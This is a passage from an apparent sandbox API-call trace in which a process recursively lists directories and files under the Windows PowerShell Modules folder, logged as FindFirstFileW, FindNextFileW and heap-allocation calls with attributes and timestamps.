dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0268.962] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1 [0268.962] GetProcessHeap () returned 0xc10000 [0268.962] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0268.962] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0268.963] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.963] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc713bd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1.1", cAlternateFileName="11D0A5~1.1")) returned 1 [0268.963] GetProcessHeap () returned 0xc10000 [0268.963] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0268.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc713bd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0268.964] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc713bd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.964] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0268.964] GetProcessHeap () returned 0xc10000 [0268.964] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0268.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0268.966] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.966] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0268.966] GetProcessHeap () returned 0xc10000 [0268.966] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0268.966] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0268.966] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.966] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0268.967] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0268.967] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0268.967] GetProcessHeap () returned 0xc10000 [0268.967] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0268.967] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0268.967] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0268.967] GetProcessHeap () returned 0xc10000 [0268.967] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0268.967] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0268.967] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0268.967] GetProcessHeap () returned 0xc10000 [0268.967] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0268.968] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1 [0268.968] GetProcessHeap () returned 0xc10000 [0268.968] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0268.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0268.970] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.970] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0268.970] GetProcessHeap () returned 0xc10000 [0268.970] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0268.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0268.971] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.971] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0268.971] GetProcessHeap () returned 0xc10000 [0268.971] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0268.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0268.972] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.972] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0268.972] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0268.972] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0268.973] GetProcessHeap () returned 0xc10000 [0268.973] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0268.973] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0268.973] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0268.973] GetProcessHeap () returned 0xc10000 [0268.973] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0268.973] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0268.973] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0268.973] GetProcessHeap () returned 0xc10000 [0268.973] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0268.974] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0 [0268.974] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0268.975] GetProcessHeap () returned 0xc10000 [0268.975] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0268.976] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0 [0268.976] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0268.976] GetProcessHeap () returned 0xc10000 [0268.976] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8f78 | out: hHeap=0xc10000) returned 1 [0268.976] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0268.976] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0268.976] GetProcessHeap () returned 0xc10000 [0268.976] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0269.169] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Test", cAlternateFileName="")) returned 0 [0269.169] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0269.170] GetProcessHeap () returned 0xc10000 [0269.170] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0269.170] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0269.170] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0269.170] GetProcessHeap () returned 0xc10000 [0269.170] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0269.171] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0269.171] GetProcessHeap () returned 0xc10000 [0269.171] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0269.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0269.172] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.172] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 